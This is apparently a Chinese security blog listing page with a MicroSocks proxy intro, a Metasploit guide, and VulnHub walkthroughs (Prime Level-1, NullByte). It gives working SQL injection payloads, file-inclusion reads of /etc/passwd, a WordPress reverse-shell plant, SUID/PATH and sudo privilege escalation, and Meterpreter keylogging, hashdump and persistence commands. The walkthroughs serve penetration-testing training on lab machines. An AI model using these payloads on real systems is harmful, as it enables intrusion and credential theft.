首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,877 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
67
篇与
的结果
2025-06-03
microsocks,一个轻量级的socks代理工具
MicroSocks 是一款轻量级、高效的 SOCKS5 代理服务器,适用于多种网络代理场景功能特点轻量级设计:MicroSocks 的设计目标是尽可能减少资源消耗,使其在资源受限的环境中也能高效运行。它在服务器中消耗的内存不到 4MB。易于使用:无需配置文件,所有设置都可以通过命令行完成,甚至可以直接启动而无需任何参数。稳健性:在资源耗尽时,MicroSocks 不会崩溃,而是优雅地拒绝新连接,确保服务的稳定性。灵活的认证机制:支持无认证、密码认证和一次性认证,满足不同安全需求。多协议支持:默认支持 IPv4、IPv6 和 DNS,且代码高度可读和可扩展。需要注意的是,MicroSocks 目前只支持 TCP,不支持 UDP。使用场景远程隧道连接:在远程服务器上建立 SOCKS5 代理,以便通过该服务器隧道连接。资源受限环境:适合在资源受限的环境中运行,如廉价的嵌入式设备或路由器。安全代理:通过支持用户/密码认证和一次性认证模式,MicroSocks 可以作为安全代理服务使用,保护网络连接安装与使用# 安装 microsockssudo apt updatesudo apt install microsocks -y# 启动服务(不需要配置文件)microsocks -b 0.0.0.0 -p 1080调用参数简介microsocks -1 -i listenip -p port -u user -P password -b bindaddr# all arguments are optional. by default listenip is 0.0.0.0 and port 1080.# option -1 activates auth_once mode: once a specific ip address authed successfully with user/pass, it is added to a whitelist and may use the proxy without auth. this is handy for programs like firefox that don't support user/pass auth. for it to work you'd basically make one connection with another program that supports it, and then you can use firefox too.后台挂起运行,并将日志文件记录nohup microsocks -p 8888 -u user -P pwd > microsocks.log &案例请勿用于非法用途,造成后果自行承担往期推荐渗透测试入门,你需要了解的东西(2w字)内网渗透,流量转发Sqlserver SQL注入,超详细SQL注入中各种WAF的绕过方式,狗,盾,神,锁,宝【WAF 剖析】10 种 XSS 绕过姿势,以及思路分析SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学不用MSF?红日靶场4,从外网到域控,手工干永恒之蓝,教科书级渗透教学
2025年06月03日
2,410 阅读
0 评论
0 点赞
2025-05-18
2026最新 Metasploit Framework (MSF) 使用指南
引言Metasploit Framework(MSF)是一款功能强大的开源安全漏洞检测工具,被广泛应用于渗透测试中。它内置了数千个已知的软件漏洞,并持续更新以应对新兴的安全威胁。MSF不仅限于漏洞利用,还包括信息收集、漏洞探测和后渗透攻击等多个环节,因此被安全社区誉为“可以黑掉整个宇宙”的工具。本文旨在详细介绍MSF的基础知识和基本使用方法,帮助初学者快速上手。一、Metasploit Framework 介绍1.1 MSF 概述Metasploit Framework最初由HD Moore于2003年发布,并于2007年使用Ruby语言重写。MSF默认集成在Kali Linux中,同时也支持在非Kali环境下安装和使用。它提供了一套完整的渗透测试框架,包括漏洞利用模块(exploits)、攻击载荷(payloads)、辅助模块(auxiliary)、编码器(encoders)、空指令(nops)、后渗透模块(post)等多个组件。1.2 MSF 主要组件Exploits(漏洞利用模块):利用目标系统中的已知漏洞进行攻击。exploit漏洞利用模块路径/usr/share/metasploit-framework/modules/exploits 例如我需要对windows的系统漏洞的利用,我可以查看windows模块Payloads(攻击载荷):攻击成功后,在目标系统中执行的代码或指令。/usr/share/metasploit-framework/modules/payloads 在Metasploit框架中,Payload扮演着至关重要的角色,主要分为Single、Stager和Stage三种类型。Single Payload是完全独立的,功能单一且易于使用,类似于运行一个简单的程序命令,但有可能被非Metasploit工具捕获。而Stager Payload则负责在目标系统与攻击者之间建立网络连接,并下载额外的组件或应用程序,常见类型有reverse_tcp和bind_tcp,分别实现反向连接和正向连接。Stage Payload是Stager下载后执行的更高级、无大小限制的Payload组件。在实际应用中,正向连接适用于攻击机在内网、靶机在外网且靶机防火墙限制严格的情况,但可能因目标端口流量过大而失败。反向连接则更适用于双方均在外网或内网的环境,此时被攻击机可主动连接攻击机,即使防火墙阻止进入的流量也无法阻挡外出连接。特别地,当被攻击机的防火墙极度严格,仅允许80或443端口与外部通信时,使用reverse_http或reverse_https Payload进行反向连接成为理想选择。Auxiliary(辅助模块):执行信息收集、扫描、嗅探等功能,辅助渗透测试。不直接执行攻击。例如,使用SMB_version辅助模块扫描SMB服务版本:use auxiliary/scanner/SMB/SMB_version set RHOSTS 192.168.1.0/24 run 目录如下MSF利用扫描,我的机器上没有这个服务,所以扫不出来。Encoders(编码器):对Payload进行加密,以绕过安全软件的检测。Nops(空指令):提高Payload的稳定性和可靠性。Post(后渗透模块):在取得目标系统控制权后,执行进一步的攻击动作。二、Metasploit Framework 基础安装与配置2.1 Kali Linux 中的 MSF在Kali Linux中,MSF默认已安装,用户可以直接通过终端启动MSF控制台。bash复制代码 msfconsole 2.2 非Kali Linux 环境下的安装在非Kali Linux环境下,用户可以通过以下命令一键安装MSF:bash复制代码 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall 安装完成后,建议添加新用户并切换到该用户下运行MSF,以避免权限问题。2.3 更新与升级Kali Linux 环境:apt update apt upgrade metasploit-framework 非Kali Linux 环境:bash复制代码 msfupdate 三、Metasploit Framework 基础用法3.1 启动 MSF 控制台在终端中输入 msfconsole 命令启动MSF控制台。首次启动可能会创建数据库,建议以非root用户启动以确保数据库同步。3.2 搜索与选择模块搜索模块:使用 search 命令搜索特定模块,如 search ms17_010。选择模块:使用 use 命令选择特定模块,如 use exploit/windows/SMB/ms17_010_eternalblue,也可以使用搜索到的结果的索引,比如3.3 查看模块信息使用 info 命令查看当前模块的详细信息。3.4 配置模块参数使用 show options 查看模块需要配置的参数。使用 set 命令设置参数值,如 set RHOSTS 192.168.3.172。可以使用 setg 设置全局参数,避免在每个模块中重复设置。3.5 执行攻击配置完成后,使用 exploit 或 run 命令执行攻击,这里一般看习惯,都是用的run。可以使用 exploit -j 在后台运行攻击。3.6 后渗透阶段成功攻击后,将进入Meterpreter会话,可以进行一系列后渗透操作,如文件操作、提权、信息收集等。该表来自csdn 剑客 getshell Meterpreter > ? ========================================== 核心命令: ========================================== 命令 说明 ------- ------------ ? 帮助菜单 background 把当前会话挂到后台运行 bg background命令的别名 bgkill 杀死后台meterpreter 脚本 bglist 列出正在运行的后台脚本 bgrun 执行一个meterpreter脚本作为后台线程 channel 显示信息或控制活动频道 close 关闭一个频道 detach 分离Meterpreter会话(用于 http/https) disable_unicode_encoding 禁用 unicode 字符串的编码 enable_unicode_encoding 启用 unicode 字符串的编码 exit 终止 Meterpreter 会话 get_timeouts 获取当前会话超时值 guid 获取会话 GUID help 帮助菜单 info 显示有关 Post 模块的信息 irb 在当前会话中打开一个交互式 Ruby shell load 加载一个或多个 Meterpreter 扩展 machine_id 获取连接到会话的机器的 MSF ID migrate 将服务器迁移到另一个进程 pivot 管理枢轴侦听器 pry 在当前会话上打开 Pry 调试器 quit 终止 Meterpreter 会话 read 从通道读取数据 resource 运行存储在文件中的命令 run 执行一个 Meterpreter 脚本或 Post 模块 secure (重新)协商会话上的 TLV 数据包加密 sessions 快速切换到另一个会话 set_timeouts 设置当前会话超时值 sleep 强制 Meterpreter 安静,然后重新建立会话 ssl_verify 修改 SSL 证书验证设置 transport 管理运输机制 use 不推荐使用的load命令别名 uuid 获取当前会话的 UUID write 将数据写入通道 ========================================== Stdapi:文件系统命令 ========================================== 命令 说明 ------- ------------ cat 将文件内容读到屏幕上 cd 切换目录 checksum 检索文件的校验和 cp 将源复制到目标 del 删除指定文件 dir 列出文件(ls 的别名) download 下载文件或目录 edit 编辑文件 getlwd 打印本地工作目录 getwd 打印工作目录 lcd 更改本地工作目录 lls 列出本地文件 lpwd 打印本地工作目录 ls 列出文件 mkdir 制作目录 mv 将源移动到目标 pwd 打印工作目录 rm 删除指定文件 rmdir 删除目录 search 搜索文件 show_mount 列出所有挂载点/逻辑驱动器 upload 上传文件或目录 ========================================== Stdapi:网络命令 ========================================== 命令 说明 ------- ------------ arp 显示主机 ARP 缓存 getproxy 显示当前代理配置 ifconfig 显示界面 ipconfig 显示接口 netstat 显示网络连接 portfwd 将本地端口转发到远程服务 resolve 解析目标上的一组主机名 route 查看和修改路由表 ========================================== Stdapi:系统命令 ========================================== 命令 说明 ------- ------------ clearev 清除事件日志 drop_token 放弃任何活动的模拟令牌。 execute 执行命令 getenv 获取一个或多个环境变量值 getpid 获取当前进程标识符 getprivs 尝试启用当前进程可用的所有权限 getid 获取服务器运行的用户的 SID getuid 获取服务器运行的用户 kill 终止进程 localtime 显示目标系统本地日期和时间 pgrep 按名称过滤进程 pkill 按名称终止进程 ps 列出正在运行的进程 reboot 重启远程计算机 reg 修改远程注册表并与之交互 rev2self 在远程机器上调用 RevertToSelf() shell 放入系统命令 shell shutdown 关闭远程计算机 steal_token 尝试从目标进程窃取模拟令牌 suspend 暂停或恢复进程列表 sysinfo 获取有关远程系统的信息,例如 OS ========================================== Stdapi:用户界面命令 ========================================== 命令 说明 ------- ------------ enumdesktops 列出所有可访问的桌面和窗口站 getdesktop 获取当前的meterpreter桌面 idletime 返回远程用户空闲的秒数 keyboard_send 发送击键 keyevent 发送按键事件 keyscan_dump 转储击键缓冲区 keyscan_start 开始捕获击键 keyscan_stop 停止捕获击键 mouse 发送鼠标事件 screenshare 实时观看远程用户桌面 screenshot 抓取交互式桌面的截图 setdesktop 更改meterpreters当前桌面 uictl 控制一些用户界面组件 ========================================== Stdapi:网络摄像头命令: ========================================== 命令 说明 ------- ------------ record_mic 从默认麦克风录制音频 X 秒 webcam_chat 开始视频聊天 webcam_list 列出网络摄像头 webcam_snap 从指定的网络摄像头拍摄快照 webcam_stream 从指定的网络摄像头播放视频流 ========================================== Stdapi:音频输出命令: ========================================== 命令 说明 ------- ------------ play 在目标系统上播放波形音频文件 (.wav) ========================================== Priv:权限提升命令: ========================================== 命令 说明 ------- ------------ getsystem 尝试将您的权限提升到本地系统的权限。 ========================================== Priv:密码数据库命令: ========================================== 命令 说明 ------- ------------ hashdump 转储 SAM 数据库的内容 ========================================== Priv:Timestomp 命令: ========================================== 命令 说明 ------- ------------ timestomp 操作文件 MACE 属性 meterpreter > 四、常见问题与解决方案4.1 数据库连接问题如果初次运行MSF时未正确初始化数据库,可能会出现连接问题。可以使用以下命令解决:bash复制代码 msfdb init 若已初始化但连接不上,尝试重启数据库服务:bash复制代码 msfdb restart 4.2 权限不足问题在非Kali Linux环境下,以root用户运行MSF可能会遇到权限不足的问题。建议添加新用户并切换到该用户下运行MSF。4.3 攻击失败攻击失败可能是由多种原因造成的,如目标系统未开放相应端口、漏洞已被修补或Payload被安全软件拦截等。建议仔细检查目标系统的配置和安全状态,并尝试不同的Payload和配置选项。五、高级攻击技术5.1 被动利用(Passive Exploit)被动利用是一种不直接向目标系统发送攻击载荷的攻击方式,而是通过诱骗目标系统主动连接含有漏洞利用代码的服务器。这种方式适用于目标系统防火墙设置严格或客户端软件存在漏洞的场景。示例:利用浏览器漏洞假设目标系统的浏览器存在已知漏洞,攻击者可以设置一个包含漏洞利用代码的Web页面,并诱骗目标用户访问该页面。当浏览器加载页面时,漏洞利用代码将被执行,从而实现攻击。use exploit/windows/browser/ms10_002_aurora set URIPATH /exploit set PAYLOAD windows/meterpreter/reverse_tcp set LHOST 192.168.1.101 exploit 5.2 复合攻击链(Attack Chain)在复杂攻击场景中,攻击者可能需要利用多个漏洞来实现最终目标。通过构建一个攻击链,攻击者可以依次利用多个漏洞,逐步深入目标系统。示例:内网横向移动假设攻击者已经通过MS17_010漏洞控制了内网中的一台机器,接下来可以通过其他漏洞(如SMBv1漏洞、密码猜测等)横向移动到其他机器上。5.3 利用定时任务或计划任务在某些情况下,攻击者可以修改目标系统的计划任务或定时任务,以定时执行恶意代码。这种方式可以实现长期潜伏和持续攻击。六、后渗透阶段的高级操作6.1 权限提升在渗透测试过程中,获得系统权限是目标之一。Meterpreter提供了多种提权技术,包括但不限于:使用getsystem命令尝试直接提权。利用已知的系统漏洞进行提权(如利用脏牛漏洞)。通过上传并执行mimikatz等工具获取明文密码。6.2 信息收集后渗透阶段,深入的信息收集对于理解目标系统的架构和配置至关重要。Meterpreter提供了丰富的命令来收集系统信息,包括但不限于:使用sysinfo命令获取系统基本信息。运行run scraper命令收集系统详细信息并保存到本地。使用run hashdump或run smart_hashdump导出密码哈希值。6.3 持久化为了保持对目标系统的长期访问,攻击者可能会尝试在系统中植入后门或修改系统设置以实现持久化。使用Meterpreter的persistence脚本在目标系统中设置反弹Shell。修改注册表或服务以实现开机自启动。七、自定义模块开发MSF的强大之处在于其可扩展性。用户可以根据自己的需求开发自定义的exploit模块、payload或auxiliary模块。7.1 开发Exploit模块开发自定义Exploit模块需要深入了解目标漏洞的利用机制,并熟悉Ruby编程语言。以下是一个简单的开发流程:研究漏洞:深入理解漏洞的原理和触发条件。编写Ruby脚本:使用Metasploit的API编写exploit脚本。测试与调试:在安全的测试环境中测试exploit的有效性和稳定性。7.2 Payload开发自定义Payload的开发同样需要深入的技术背景,包括汇编语言、系统调用等。用户可以根据需要开发具有特定功能的Payload,如自定义shellcode。八、复杂攻击场景应用8.1 APT攻击模拟高级持续性威胁(APT)攻击是一种长期、隐蔽且针对性的网络攻击。利用MSF,安全专业人员可以模拟APT攻击过程,评估组织的安全防御能力。8.2 水坑攻击水坑攻击是一种针对特定目标的钓鱼攻击。攻击者会提前预测目标可能访问的网站或资源,并在这些位置植入恶意代码。通过MSF,攻击者可以模拟整个水坑攻击过程,从漏洞选择到Payload执行。8.3 多阶段攻击多阶段攻击涉及多个攻击阶段和不同的漏洞利用点。攻击者需要根据目标系统的具体情况设计攻击路径,并依次利用多个漏洞实现最终目标。九、总结本文详细介绍了Metasploit Framework的基础知识和基本使用方法,包括安装、配置、模块选择、参数配置和攻击执行等环节。通过学习本文,读者可以初步掌握MSF的使用技巧,为进一步学习进阶用法打下坚实基础。在后续文章中,我们将深入探讨MSF的进阶用法,包括更复杂的攻击场景、高级后渗透技巧以及自定义模块开发等内容。参考 :https://blog.csdn.net/weixin_45588247?type=blog
2025年05月18日
1,649 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机Prime_Series_Level-1
typora-copy-images-to: upload主机发现端口扫描80端口目录扫描,发现这是一个wordpress站点利用wpscan对网站后台进行暴力破解,并收集可能的用户信息,爆破失败了,但是发现了一个用户victorwpscan --url http://10.10.10.203/wordpress -e u -P /data/SecLists_Dict/Passwords/xato-net-10-million-passwords-100000.txt利用ssh爆破(失败)hydra -lvictor -P /data/SecLists_Dict/Passwords/darkweb2017-top1000.txt -t 4 -vV 10.10.10.203 ssh利用wfuzz测试一下有没有其他的文章没显示出来的wfuzz -u http://10.10.10.203/wordpress/?page_id=FUZZ -z range,1-1000 --sc 200继续查看目录扫描的结果,翻到一个dev,被嘲讽了你好,现在你处于0级阶段在实际的渗透测试中,我们应该使用我们的工具在网络上进行深入挖掘。快乐的黑客。看看还有没有其他文件gobuster dir -u http://10.10.10.203 -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt -x html,txt,php,js有一个secret.txt文件,大致意思呢就是说让我们进行一个模糊测试,这个测试的参数下面有一个location.txt文件,如果没有扫出来,你可以利用下面这个开源字典,帮助你更好的通过oscp考试访问https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web1. WFUZZ ==================================================================================== # # ###### # # ###### ###### # # # # # # # # # ##### # # # # # ## # # # # # # ## ## # # # # # # # # #### ###### ###### ==================================================================================== -------------------------------------------------------------------------------------- (i) USE WFUZZ TO ENUMERATE CORRECT PARAMETER FOR A PAGE. --------------------------------------------------------------------------------------- COMMNAD = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something And the result is given below 000216: C=200 70 L 500 W 2006 Ch "configs" 000200: C=200 70 L 500 W 2006 Ch "cm" 000201: C=200 70 L 500 W 2006 Ch "cmd" 000195: C=200 70 L 500 W 2006 Ch "classified" 000197: C=200 70 L 500 W 2006 Ch "client" 000204: C=200 70 L 500 W 2006 Ch "coke" Finishing pending requests... ---------------------------------------------------------------------------------------------------------------------- (ii) BUT ABOVE COMMND FAILED IF PAGE ALWAYS RETURN 200(HTTP REPONSE). NOW OUR MODIFIED COMMAND IS =======> ---------------------------------------------------------------------------------------------------------------------- COMMAND = wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://website-ip/index.php?FUZZ=something And it will return result which is given below. Total requests: 950 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000357: C=200 70 L 500 W 2006 Ch "file" Total time: 3.753362 Processed Requests: 950 Filtered Requests: 949 Requests/sec.: 253.1063 Here we can see C=200(Our HTTP Respone from server). 7 L ==> It means 7 lines return by server. 500 W ==> It means 19 words total count by wfuzz. 2006 Ch ==> It means 206 total chars count by wfuzz which is return by server. After using filter we can remove wrong parameter from our output and right output with right parameter we get. -------------------------------------------------------------------------------------------------------- (*)WORKING WITH FILTERS: | (i) If we want to filter words then we used switch --hw (words_lenth. In above example --hw 12) | (ii) To filter lenth then we used --hl(In above above example this would be --hl 7) (iii) For chars we used --hh (In above example this would br --hh 206) | (iv) For response code we use --hc. And always we attach --hc 404. Because this is common for all. | -------------------------------------------------------------------------------------------------------- ---------------------------------------------------------------- (iii) USE WFUZZ TO FIND OUT SUBDOMAINS. ---------------------------------------------------------------- COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 617 -u website.com -H "HOST: FUZZ.website.com" USE filter to reach your actual subdomAIns like below command. COMMAND ==> wfuzz -c -w /usr/share/seclists//usr/share/seclists/Discovery/DNS --hc 404 --hw 7873 -u hnpsec.com -H "HOST: FUZZ.hnpsec.com"上wfuzzwfuzz -u http://10.10.10.203/?FUZZ=location.txt -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --hw 12发现了一个file参数做一些更好的, 好的,现在你找到了确切的参数,现在挖掘更多的下一个<br>在其他php页面上使用‘secrettier36o’参数更有趣。那么根据提示修改参数file为secrettier360,继续fuzz,只发现了两个相关的php文件wfuzz -u http://10.10.10.203/FUZZ.php?secrettier360=location.txt -w /data/SecLists_Dict/Discovery/Web-Content/directory-list-1.0.txt --sc 200进行测试,”最后你得到了正确的参数“┌──(root㉿kali)-[~] └─# curl http://10.10.10.203/image.php?secrettier360=location.txt <html> <title>HacknPentest</title> <body> <img src='hacknpentest.avif' alt='hnp security' width="1300" height="595" /></p></p></p> </body> finaly you got the right parameter<br><br><br><br></html>说是得到了正确的参数,看样子是文件包含,之前读取的是一个txt文件 location.txt,那么直接包含/etc/passwd,之后又发现了这个用户后面写着一个提示,说password.txt文件在/home/saket文件夹下面找到了密码follow_the_ippseccurl http://10.10.10.203/image.php?secrettier360=/home/saket/password.txt测试了两个用户的ssh皆失败了利用那就wordpress密码碰撞,找到之前写文章的用户victor进行登录,登录成功其他的文件都不能修改,只有这一个Twenty Nineteen主题下的secret.php可以修改填写反弹shell脚本并修改攻击机器开启监听这个路径是wordpress主题文件下的默认路径,使用curl请求即可反弹shellcurl http://10.10.10.203/wordpress/wp-content/themes/twentynineteen/secret.php创建交互式终端python -c 'import pty; pty.spawn("/bin/bash")';切换到wordpress根目录,找到了数据库密码wordpress yourpasswordhere登录mysqlmysql -uwordpress -pyourpasswordhere只有victor一个用户,密码我们已经知道了,没有其他东西了,利用数据库密码登录这两个用户试试(均失败)www-data@ubuntu:/home$ ls ls saket victor www-data@ubuntu:/home$ su saket su saket Password: yourpasswordhere su: Authentication fAIlure www-data@ubuntu:/home$ su victor su victor Password: yourpasswordhere su: Authentication fAIlure切换到home下面包含了一个user.txt可能用得上识别hash类型,看样子是md5尝试过好几个解密网站都失败了利用sudo -l查看可以使用sudo的文件,有一个enc,执行一下需要我们输入密码在opt文件夹下面可以找到密码信息执行,但是有两个文件,enc.txt,key.txt没有权限读取接下来加上sudo,提示了一个good此时该文件夹下面出现了两个文件其中key.txt是一个提示信息,加密后的结果为366a74cb3c959de17d61db30591c39d1因此,将字符串“ippsec”转换为md5哈希并使用它来获得您的真实形式enc.txt是一段乱码nzE+iKr82Kh8BOQg0k/LViTZJup+9DReAsXd/PCtFZP5FHM7WtJ9Nz1NmqMi9G0i7rGIvhK2jRcGnFyWDT9MLoJvY1gZKI2xsUuS3nJ/n3T1Pe//4kKId+B3wfDW/TgqX6Hg/kUj8JO08wGe9JxtOEJ6XJA3cO/cSna9v3YVf/ssHTbXkb+bFgY7WLdHJyvF6lD/wfpY2ZnA1787ajtm+/aWWVMxDOwKuqIT1ZZ0Nw4=有一个key,一段密文,但是没有偏移量,普通AES需要偏移量但是ECB的加密模式不需要解密结果为Dont worry saket one day we will reach to our destination very soon. And if you forget your username then use your old password ==> "tribute_to_ippsec" Victor,切换用户成功再次利用sudo -l利用sudo执行这个文件后,可以看到下面有一个提示,没有找到相关文件 not found,看样子是让我们写入一个脚本进行提权if you can defeat me then challenge me in front of you /home/victor/undefeated_victor: 2: /home/victor/undefeated_victor: /tmp/challenge: not found利用刚刚反弹shell的php脚本进行反弹,再用sudo执行此文件即可提权成功echo 'php /var/www/html/wordpress/wp-content/themes/twentynineteen/secret.php' > /tmp/challenge chmod +x /tmp/challenge sudo /home/victor/undefeated_victor至此提权成功往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,599 阅读
0 评论
0 点赞
2025-05-18
Vuln靶机NullByte
靶机下载链接:https://www.vulnhub.com/entry/nullbyte-1,126/主机发现利用nmap进行端口扫描,发现ssh端口被放到了777端口,这里需要注意一下,后面使用ssh连接的时候需要使用 -p 77780端口经过目录扫描,发现了一个phpmyadmin数据库管理工具,并使用了SQL注入,弱口令等测试,均没有效果直到下载了主页的这个mAIn.gif文件,得到一个密文kzMb5nVYJw可能是phpmyadmin的root密码去登录phpmyadmin试试(失败),那么就切换思路,既然是在web上,那么还有可能和目录相关查看源码,说这个表单没有连接mysql数据库,密码也很简单,说明可以直接爆破了本着oscp考试不能使用burp专业版,那么就用hydra进行爆破,参数如下hydra -l admin -P /usr/share/wordlists/rockyou.txt -vV 10.10.10.205 http-form-post "/kzMb5nVYJw/index.php:key=^PASS^:invalid key" -f参数解析:-l 表示指定一个用户进行爆破(在这里没有实际意义),-P指定一个密码字典-t 指定爆破的线程数量-vV 表示显示爆破的过程http-post-form 表示以表单的形式进行爆破^PASS^ 表示在这个指定的字典中,所有单个密码的一个变量invalid key 表示排除字段,即出现哪些字符表示失败输入这个密码后,就能进入一个搜索框框页面eliteSQL注入利用,一下子全部数据都出来了,说明存在SQL注入漏洞http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=a" or 1=1 -- +那么接下俩判断列,sql语句报错了,说明不存在5列a" order by 5 --+但是奇怪的是,没有数据回显a" order by 3 --+这里需要仔细琢磨下,发现只能使用对应的用户名作为参数isis" order by 3 --+联合注入测试,这个时候就多了一条数据,前面的isis用户的数据也存在isis" union select 1,2,3 --+暴库http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(schema_name),3 from information_schema.schemata --+发现了两个可能利用的数据库phpmyadmin,seth,由于phpmyadmin是直接连接的mysql服务器,所以不存放mysql密码,可以跳过,所以我们接下来就需要对seth数据库进行枚举暴seth表,敏感表usershttp://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="seth" --+暴users字段http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="phpmyadmin" and table_name="pma__users" --+暴users数据http://10.10.10.205/kzMb5nVYJw/420search.php?usrtosearch=isis" union select 1,group_concat(id,'-',user,'-',pass),3 from users --+看样子是 一个base64的编码,解密看看,是一个hash,c6d6bd7ebf806f43c76acc3681703b81利用hash识别工具识别解密的结果为md5ramses用户的密码为omega连接ssh(phpmyadmin密码试过了登录失败)查找SUID文件,发现了一个procwatch文件切换到这个目录下面,还发现了一个readme.txt, 我必须要搞定这一坨混乱。不知道在说啥,执行一下这个suid文件,发现还执行了两个命令,sh应该和shell相关,也就是/bin/sh,ps和进程相关,这个时候我们的提权思路就是将提权的代码写入procwatch的相关文件中,而这个操作与sh和ps相关,这样在执行procwatch的时候,由于他具有suid权限,就可以以root身份运行,从而触发提权这里提权的方法呢就是利用软链接+修改环境变量的方式进行提权完整命令如下ramses@NullByte:/var/www/backup$ ln -s /bin/sh ps # 将/bin/sh链接到 ps 这个命令,这样我们执行当前目录下面的 ps 命令(文件)的时候,就会调用/bin/sh创建一个shell ramses@NullByte:/var/www/backup$ ls # 此时就发现多了一个文件ps procwatch ps readme.txt ramses@NullByte:/var/www/backup$ export PATH=.:$PATH # 添加当前目录为环境变量,这个.代表当前目录,放在前面表示环境变量会以前后顺序,依次读取环境变量,放在前面是为了提高当前目录为环境变量的优先级 ramses@NullByte:/var/www/backup$ echo $PATH .:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games ramses@NullByte:/var/www/backup$ ./procwatch # 此时执行这个文件,就能创建一个shell,而它是suid文件。执行它的时候是以root的身份执行的,所以创建的shell就是root身份的shell。 # whoami root # cd /root # cat proof.txt adf11c7a9e6523e630aaf3b9b7acb51d It seems that you have pwned the box, congrats. Now you done that I wanna talk with you. Write a walk & mAIl at xly0n@sigAInt.org attach the walk and proof.txt If sigAInt.org is down you may mAIl at nbsly0n@gmAIl.com USE THIS PGP PUBLIC KEY -----BEGIN PGP PUBLIC KEY BLOCK----- Version: BCPG C# v1.6.1.0 mQENBFW9BX8BCACVNFJtV4KeFa/TgJZgNefJQ+fD1+LNEGnv5rw3uSV+jWigpxrJ Q3tO375S1KRrYxhHjEh0HKwTBCIopIcRFFRy1Qg9uW7cxYnTlDTp9QERuQ7hQOFT e4QU3gZPd/VibPhzbJC/pdbDpuxqU8iKxqQr0VmTX6wIGwN8GlrnKr1/xhSRTprq Cu7OyNC8+HKu/NpJ7j8mxDTLrvoD+hD21usssThXgZJ5a31iMWj4i0WUEKFN22KK +z9pmlOJ5Xfhc2xx+WHtST53Ewk8D+Hjn+mh4s9/pjppdpMFUhr1poXPsI2HTWNe YcvzcQHwzXj6hvtcXlJj+yzM2iEuRdIJ1r41ABEBAAG0EW5ic2x5MG5AZ21haWwu Y29tiQEcBBABAgAGBQJVvQV/AAoJENDZ4VE7RHERJVkH/RUeh6qn116Lf5mAScNS HhWTUulxIllPmnOPxB9/yk0j6fvWE9dDtcS9eFgKCthUQts7OFPhc3ilbYA2Fz7q m7iAe97aW8pz3AeD6f6MX53Un70B3Z8yJFQbdusbQa1+MI2CCJL44Q/J5654vIGn XQk6Oc7xWEgxLH+IjNQgh6V+MTce8fOp2SEVPcMZZuz2+XI9nrCV1dfAcwJJyF58 kjxYRRryD57olIyb9GsQgZkvPjHCg5JMdzQqOBoJZFPw/nNCEwQexWrgW7bqL/N8 TM2C0X57+ok7eqj8gUEuX/6FxBtYPpqUIaRT9kdeJPYHsiLJlZcXM0HZrPVvt1HU Gms= =PiAQ -----END PGP PUBLIC KEY BLOCK-----至此提权成功,这个靶机有很多种可以getshell的方法,比如利用SQL注入写入一句话木马,读取mysql配置文件获取密码信息,然后登录phpmyadmin,也能获取ramses用户的密码信息,当然写可以不写一句话木马,直接写反弹shell的php也可以,详细请参考如下文章,写的非常棒https://blog.csdn.net/Bossfrank/article/details/131880155往期推荐红日靶场3,joomla渗透,海德拉SMB爆破,域内5台主机横向移动教学Linux 32位Crossfire游戏缓冲区溢出独立开发零显卡AI引擎!媲美DeepSeek,附源码【oscp】Tr0ll 靶机全系列(1-3),FTP被玩坏了神器分享 红队快速打点工具-DarKnuclei从零开始学SQL注入(sql十大注入类型):技术解析与实战演练【渗透测试】DC1~9(全) Linux提权靶机渗透教程,干货w字解析,建议收藏【渗透测试】12种rbash逃逸方式总结利用MySQL特性,WAF绕过技巧SQL注入绕过某狗的WAF防火墙,这一篇就够了,6k文案超详细
2025年05月18日
1,700 阅读
0 评论
0 点赞
2025-05-18
Vulnhub靶机bob
